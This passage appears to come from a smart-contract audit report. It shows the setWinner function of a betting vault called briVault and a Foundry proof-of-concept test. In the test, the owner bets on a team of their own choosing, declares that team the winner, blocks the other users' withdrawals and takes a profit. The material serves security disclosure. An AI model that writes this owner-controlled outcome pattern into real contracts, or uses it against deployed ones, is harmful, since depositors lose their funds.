function setWinner(uint256 countryIndex) public onlyOwner returns (string memory) {
if (block.timestamp <= eventEndDate) {
revert eventNotEnded();
}
require(countryIndex < teams.length, "Invalid country index");
if (_setWinner) {
revert WinnerAlreadySet();
}
winnerCountryId = countryIndex;
winner = teams[countryIndex];
_setWinner = true;
_getWinnerShares();
_setFinallizedVaultBalance();
emit WinnerSet (winner);
return winner;
}
Put this test in `briVault.t.sol`
<details>
<summary>POC</summary>
```javascript
function test_OwnerCanWinByChoosingOwnTeam() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
address[5] memory users = [user1, user2, user3, user4, user5];
uint256 amount = 10 ether;
uint256[5] memory teamsIds = [uint256(0), 1, 2, 3, 4];
for (uint256 i = 0; i < users.length; i++) {
vm.startPrank(users[i]);
mockToken.approve(address(briVault), amount);
briVault.deposit(amount, users[i]);
briVault.joinEvent(teamsIds[i]);
vm.stopPrank();
}
vm.startPrank(owner);
mockToken.approve(address(briVault), amount);
briVault.deposit(amount, owner);
briVault.joinEvent(10);
vm.stopPrank();
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(10);
vm.stopPrank();
for (uint256 i = 0; i < users.length; i++) {
vm.startPrank(users[i]);
vm.expectRevert(abi.encodeWithSignature("didNotWin()"));
briVault.withdraw();
vm.stopPrank();
}
vm.startPrank(owner);
uint256 balanceBefore = mockToken.balanceOf(owner);
briVault.withdraw();
uint256 balanceAfter = mockToken.balanceOf(owner);
vm.stopPrank();
uint256 profit = balanceAfter - balanceBefore;
assertGt(profit, 0, "Owner did not profit from self-declared win");
console.log("Owner bet on his own team and declared it the winner proving centralization risk.");
console.log("Owner profit after withdrawal:", profit);
}
```
</details>